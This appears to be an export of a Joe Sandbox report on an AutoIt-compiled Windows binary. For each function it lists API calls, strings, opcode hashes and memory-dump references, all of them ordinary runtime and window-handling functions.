Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction ID: 57df4f3caf5de61134144dc2ee2d43ab4ebf6e121530ad505dd3ca59c6eb2bef
Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction Fuzzy Hash: 22E04670E0D90B45FD786F6106550B820408F4B3F0E182BB0DB3DC43CAEC1CA7608110

Function 00007FF697BBB334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF697BBB365

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction ID: 8beabb15df114d80d3d51a0772ae6e3304b32ec36d455c3fc8e73e4f14b30370
Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction Fuzzy Hash: 89E01532618A9182D6208F06F48021AE370FB8ABC8F544525EF8C47B19CF7DD5518B80

Function 00007FF697B43EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF697B43ED8

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction ID: 7a494639dcdeb23ad5a835373738c0765c499814246d26e386ee376e09271360
Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction Fuzzy Hash: 58E04832B0874685D731DB69E5453996366FF9CBC4F544071EE8C8375EDD6CC5858B00

Function 00007FF697B45D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF697B45DDE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction ID: 4482973116615174b69fdfe04985f7afa2eb335337bdb9fde500f6f06732bb75
Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction Fuzzy Hash: CCF08C32A19B82CBF7B19B54E4043697AA6FB85388F844079D28D87399CE3CD345CF40

Function 00007FF697B41080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B47920: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF697B4109E), ref: 00007FF697B47A75

_onexit.LIBCMT ref: 00007FF697B64F10

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction ID: 2c3810ba33049a7130d04607f370dd144e26fd670118aa6a39564bc7ae780429
Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction Fuzzy Hash: AEE08C62F1A94BC0EE28BB6A988507812A1EF92385F8059B6C10CC2256DE1CD3918700

Function 00007FF697B410E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B61D80: GetVersionExW.KERNEL32 ref: 00007FF697B61DC8
Part of subcall function 00007FF697B61D80: GetCurrentProcess.KERNEL32 ref: 00007FF697B61F42
Part of subcall function 00007FF697B61D80: IsWow64Process.KERNEL32 ref: 00007FF697B61F52

_onexit.LIBCMT ref: 00007FF697B64F10

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction ID: a7c32edb425cd9d780ab3f3edf145ef269d94432288c105ff62751aa2976e3d8
Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction Fuzzy Hash: 3EC01220F6A44B80E6287BB948860F82190CFA73D0F9001B6C30DC0286DD0C53E60A11

Function 00007FF697B41048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF697B64F10

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction ID: b3550cd86fc103f8162cbcf8ea1a59c833aecf5a24f347d6fd2d0673033c63b1
Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction Fuzzy Hash: 12C01221F6944B80E9287FB54C860B41190DFEB390FD005B5C20DC1286CD0C53E64B11

Function 00007FF697B41064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF697B64F10

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction ID: 2becde2569c931b055d8257934f33b34548283021d8d6fad990c81b97325aa21
Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction Fuzzy Hash: 66C01225F6A44B80E5287BB54C8A0B811908FE7390F9006B5C20DC128ACD1C53E65A11

Function 00007FF697BC7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF697BC7FBE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
Instruction ID: 454c801211abe9d0572ad11a51a02da1b92c954a7e4eee60fdcb1c6fdbfc30d3
Opcode Fuzzy Hash: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
Instruction Fuzzy Hash: 03715B32B04A4286EB20EF69D0953BD23A0EB86BC4F4441B2DE5D9779ADF38E545C350

Function 00007FF697B7DDA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF697B7DDFD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction ID: e8ac12bda345c744940055a2b19e74bb170f7c5f5c2611e798289aabfe294af2
Opcode Fuzzy Hash: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction Fuzzy Hash: B2F09064B0930B84FF796F6259503B51291FF9ABC0F9C44B4C90EC6BCEEE2CE4418220

Function 00007FF697B7C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF697B7C55A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction ID: 72efc1b910b0db5f4022c4ff8600515c3bd9391a45774fcf1b15444e0f083298
Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction Fuzzy Hash: F7F05E60F1924785FF349F6198022785284DF46FE0F8842B8D92EC5AC9DE5DE4418210

Non-executed Functions

Function 00007FF697BD56A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF697BD570B
DeleteObject.GDI32 ref: 00007FF697BD5724
DestroyWindow.USER32 ref: 00007FF697BD5738
GetDesktopWindow.USER32 ref: 00007FF697BD5758
GetWindowRect.USER32 ref: 00007FF697BD5766
SetRect.USER32 ref: 00007FF697BD58A7
AdjustWindowRectEx.USER32 ref: 00007FF697BD58BA
CreateWindowExW.USER32 ref: 00007FF697BD5929
GetClientRect.USER32 ref: 00007FF697BD593E
CreateWindowExW.USER32 ref: 00007FF697BD59A9
CreateFileW.KERNEL32 ref: 00007FF697BD59E6
GetFileSize.KERNEL32 ref: 00007FF697BD59FE
GlobalAlloc.KERNEL32 ref: 00007FF697BD5A0C
GlobalLock.KERNEL32 ref: 00007FF697BD5A18
ReadFile.KERNEL32 ref: 00007FF697BD5A33
GlobalUnlock.KERNEL32 ref: 00007FF697BD5A3E
CloseHandle.KERNEL32 ref: 00007FF697BD5A47
GlobalFree.KERNEL32 ref: 00007FF697BD5A54
CreateStreamOnHGlobal.OLE32 ref: 00007FF697BD5A68
OleLoadPicture.OLEAUT32 ref: 00007FF697BD5A87
GlobalFree.KERNEL32 ref: 00007FF697BD5A9A
CopyImage.USER32 ref: 00007FF697BD5ACB
SendMessageW.USER32 ref: 00007FF697BD5AEE
SetWindowPos.USER32 ref: 00007FF697BD5B2A
ShowWindow.USER32 ref: 00007FF697BD5DDD

Strings

DISPLAY, xrefs: 00007FF697BD5BA1
, xrefs: 00007FF697BD5B17
AutoIt v3, xrefs: 00007FF697BD5917
static, xrefs: 00007FF697BD5969, 00007FF697BD5B56

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction ID: e98d79e75f6a5abdf62c51180ee413eca9fc24722d2e57d67f1d8535e91f8ede
Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction Fuzzy Hash: E422AF76A08A428AE720DF29E85466D77A1FF89BD4F114276DE4E83B68DF3CD445CB00

Function 00007FF697BF17C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71

GetWindowLongW.USER32 ref: 00007FF697BF189B
SendMessageW.USER32 ref: 00007FF697BF18C9
SendMessageW.USER32 ref: 00007FF697BF18F4
GetKeyState.USER32 ref: 00007FF697BF19A7
GetKeyState.USER32 ref: 00007FF697BF19BB
SendMessageW.USER32 ref: 00007FF697BF19D8
GetKeyState.USER32 ref: 00007FF697BF19E6
SendMessageW.USER32 ref: 00007FF697BF1A16
SendMessageW.USER32 ref: 00007FF697BF1A9C
SendMessageW.USER32 ref: 00007FF697BF1AC7
GetCursorPos.USER32 ref: 00007FF697BF1B66
ScreenToClient.USER32 ref: 00007FF697BF1B74
SendMessageW.USER32 ref: 00007FF697BF1BD7
SendMessageW.USER32 ref: 00007FF697BF1BFF
SendMessageW.USER32 ref: 00007FF697BF1C32
SendMessageW.USER32 ref: 00007FF697BF1C64
SendMessageW.USER32 ref: 00007FF697BF1C86
SendMessageW.USER32 ref: 00007FF697BF1C9C
GetCursorPos.USER32 ref: 00007FF697BF1CC4
ScreenToClient.USER32 ref: 00007FF697BF1CD2
GetParent.USER32 ref: 00007FF697BF1CF1
SendMessageW.USER32 ref: 00007FF697BF1D54
SendMessageW.USER32 ref: 00007FF697BF1D7E
ClientToScreen.USER32 ref: 00007FF697BF1DD1
TrackPopupMenuEx.USER32 ref: 00007FF697BF1E0E
SendMessageW.USER32 ref: 00007FF697BF1E33
SendMessageW.USER32 ref: 00007FF697BF1E5A
ClientToScreen.USER32 ref: 00007FF697BF1E9F
TrackPopupMenuEx.USER32 ref: 00007FF697BF1EDF
GetWindowLongW.USER32 ref: 00007FF697BF1F70
DefDlgProcW.USER32 ref: 00007FF697BF2197

Strings

@GUI_DRAGID, xrefs: 00007FF697BF210C
F, xrefs: 00007FF697BF1E60

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
String ID: @GUI_DRAGID$F
API String ID: 1993697042-4164748364
Opcode ID: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
Instruction ID: f5f1cfd86bc1bcedfc87877c0a137481447b3bab920acbf23a7c0f1b09ab3473
Opcode Fuzzy Hash: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
Instruction Fuzzy Hash: 1D527F3AB08A4686EB349F25D8946AD2761FF86FC4F504176DB1D83AA8CF3CE590D740

Function 00007FF697BEBA0C Relevance: 54.8, APIs: 30, Strings: 1, Instructions: 500windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF697BEBAE3
SendMessageW.USER32 ref: 00007FF697BEBB33
IsMenu.USER32 ref: 00007FF697BEBB4E
GetMenuItemInfoW.USER32 ref: 00007FF697BEBB94
SendMessageW.USER32 ref: 00007FF697BEBC27
SendMessageW.USER32 ref: 00007FF697BEBC4E
SendMessageW.USER32 ref: 00007FF697BEBC67
SendMessageW.USER32 ref: 00007FF697BEBC82
SendMessageW.USER32 ref: 00007FF697BEBCA6
SendMessageW.USER32 ref: 00007FF697BEBCD4
SendMessageW.USER32 ref: 00007FF697BEBCF0
SendMessageW.USER32 ref: 00007FF697BEBD14
GetWindowLongW.USER32 ref: 00007FF697BEBD4F
SendMessageW.USER32 ref: 00007FF697BEBD9C
SendMessageW.USER32 ref: 00007FF697BEBDC0
SendMessageW.USER32 ref: 00007FF697BEBE5A
wsprintfW.USER32 ref: 00007FF697BEBE91
SendMessageW.USER32 ref: 00007FF697BEBEAE
GetWindowTextW.USER32 ref: 00007FF697BEBEE3
SendMessageW.USER32 ref: 00007FF697BEBF05
SendMessageW.USER32 ref: 00007FF697BEBF2E
GetWindowTextW.USER32 ref: 00007FF697BEBF5B
GetWindowLongW.USER32 ref: 00007FF697BEBFF2
SendMessageW.USER32 ref: 00007FF697BEC026
SendMessageW.USER32 ref: 00007FF697BEC067
SendMessageW.USER32 ref: 00007FF697BEC0D0
CharNextW.USER32 ref: 00007FF697BEC10B
SendMessageW.USER32 ref: 00007FF697BEC152
SendMessageW.USER32 ref: 00007FF697BEC189

Strings

%d/%02d/%02d, xrefs: 00007FF697BEBE76

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
String ID: %d/%02d/%02d
API String ID: 1218376639-328681919
Opcode ID: 8c1f687f88e9da4140e4452ba941a0bd8309265392956f150e7897e172de2189
Instruction ID: 03fad3aff16533627469a39624772cbf3484b28fb879aa10273d8f7485c3a995
Opcode Fuzzy Hash: 8c1f687f88e9da4140e4452ba941a0bd8309265392956f150e7897e172de2189
Instruction Fuzzy Hash: 8C12DE36A0964686FB709F25D854ABE23A0EF86BD4F4041B5DE5E87BD8DF3CE4428740

Function 00007FF697BEDB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF697BEDBEA
SendMessageW.USER32 ref: 00007FF697BEDC8E
SendMessageW.USER32 ref: 00007FF697BEDCAD
SendMessageW.USER32 ref: 00007FF697BEDCE6
GetMenuItemInfoW.USER32 ref: 00007FF697BEDD10
SetMenuItemInfoW.USER32 ref: 00007FF697BEDD70
SetMenuDefaultItem.USER32 ref: 00007FF697BEDD86
GetMenuItemInfoW.USER32 ref: 00007FF697BEDD96
SetMenuDefaultItem.USER32 ref: 00007FF697BEDDB4
DrawMenuBar.USER32 ref: 00007FF697BEDDBE
SendMessageW.USER32 ref: 00007FF697BEDE57
SendMessageW.USER32 ref: 00007FF697BEDE92
GetWindowLongW.USER32 ref: 00007FF697BEDEBD
SendMessageW.USER32 ref: 00007FF697BEDEFC
SendMessageW.USER32 ref: 00007FF697BEDF3F
EnableWindow.USER32 ref: 00007FF697BEDFA7
EnableWindow.USER32 ref: 00007FF697BEDFBD
ShowWindow.USER32 ref: 00007FF697BEE03E
ShowWindow.USER32 ref: 00007FF697BEE051
EnableWindow.USER32 ref: 00007FF697BEE06B
SendMessageW.USER32 ref: 00007FF697BEE0A0
SendMessageW.USER32 ref: 00007FF697BEE0C4
GetFocus.USER32 ref: 00007FF697BEE0CA
MoveWindow.USER32 ref: 00007FF697BEE18A
SendMessageW.USER32 ref: 00007FF697BEE19F
GetWindowRect.USER32 ref: 00007FF697BEE1BE
MoveWindow.USER32 ref: 00007FF697BEE1F1
MoveWindow.USER32 ref: 00007FF697BEE21F

Strings

P, xrefs: 00007FF697BEDCFD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
String ID: P
API String ID: 1208186926-3110715001
Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction ID: e13fbeef4da6902aca2f013b9faa97ef9d0ba40ec08185a2fc84e72e2dcd40fb
Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction Fuzzy Hash: 59120076A0864686E7348F25D454BBD27A0FF86BD4F0045B5DA5E87B98CF7CE480DB80

Function 00007FF697BD32AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF697BD51B9
SystemParametersInfoW.USER32 ref: 00007FF697BD5312
SetRect.USER32 ref: 00007FF697BD5358
AdjustWindowRectEx.USER32 ref: 00007FF697BD536B
CreateWindowExW.USER32 ref: 00007FF697BD53D6
GetClientRect.USER32 ref: 00007FF697BD53EB
CreateWindowExW.USER32 ref: 00007FF697BD546A
CreateDCW.GDI32 ref: 00007FF697BD5486
GetStockObject.GDI32 ref: 00007FF697BD5496
SelectObject.GDI32 ref: 00007FF697BD54A2
